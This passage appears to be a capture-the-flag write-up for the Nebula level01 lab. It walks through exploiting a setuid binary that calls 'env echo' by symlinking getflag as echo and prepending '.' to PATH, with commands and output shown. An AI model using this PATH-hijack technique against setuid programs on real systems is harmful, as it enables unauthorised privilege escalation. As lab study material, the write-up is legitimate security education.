	system("/usr/bin/env echo and now what?");
}

The executable is located in the /home/flag01 directory. On running it, we get the expected output:

level01@nebula:/home/flag01$ ./flag01
and now what?

Importantly, if we check the permissions on the executable:

level01@nebula:/home/flag01$ ls -asl
total 13
0 drwxr-x--- 1 flag01 level01   40 2014-06-03 22:33 .
0 drwxr-xr-x 1 root   root     380 2012-08-27 07:18 ..
1 -rw-r--r-- 1 flag01 flag01   220 2011-05-18 02:54 .bash_logout
4 -rw-r--r-- 1 flag01 flag01  3353 2011-05-18 02:54 .bashrc
8 -rwsr-x--- 1 flag01 level01 7322 2011-11-20 21:22 flag01
1 -rw-r--r-- 1 flag01 flag01   675 2011-05-18 02:54 .profile

We can see that this file also has the suid bit set. The problem then is, how do we get this to run “getflag”?

The executable does nothing with command line parameters so we can’t pass anything in there. It does however call echo to output the text. echo is a built-in command to bash (i.e. not a discrete executable like ping would be), so we normally couldn’t override what it does.

However notice that the system call uses /user/bin/env before echo – where is this normally seen? At the start of scripts where we define the interpreter with a shebang.

#!/usr/bin/env python

The reason that /usr/bin/env is used is that scripts need a full path to the interpreter. python could be anywhere, and it is awkward to modify scripts to use a full path from system to system. /usr/bin/env searches the path for the command passed to it and runs it.

This means we can provide our own echo, modify the path so that this echo is called in preference to the built-in, and then we can run arbitrary commands.

The easiest way to provide our own echo that runs getflag is to just create a symbolic link.

level01@nebula:~$ ln -s /bin/getflag echo
level01@nebula:~$ ls -asl
total 5
0 drwxr-x--- 1 level01 level01   80 2014-06-03 22:41 .
0 drwxr-xr-x 1 root    root     380 2012-08-27 07:18 ..
1 -rw-r--r-- 1 level01 level01  220 2011-05-18 02:54 .bash_logout
4 -rw-r--r-- 1 level01 level01 3353 2011-05-18 02:54 .bashrc
0 drwx------ 2 level01 level01   60 2014-06-03 18:22 .cache
0 lrwxrwxrwx 1 level01 level01   12 2014-06-03 22:41 echo -> /bin/getflag
1 -rw-r--r-- 1 level01 level01  675 2011-05-18 02:54 .profile
level01@nebula:~$ export PATH=.:$PATH
level01@nebula:~$ /home/flag01/flag01 
You have successfully executed getflag on a target account

Again – relatively simple. Symbolic links are useful tools for bypassing name and location checks!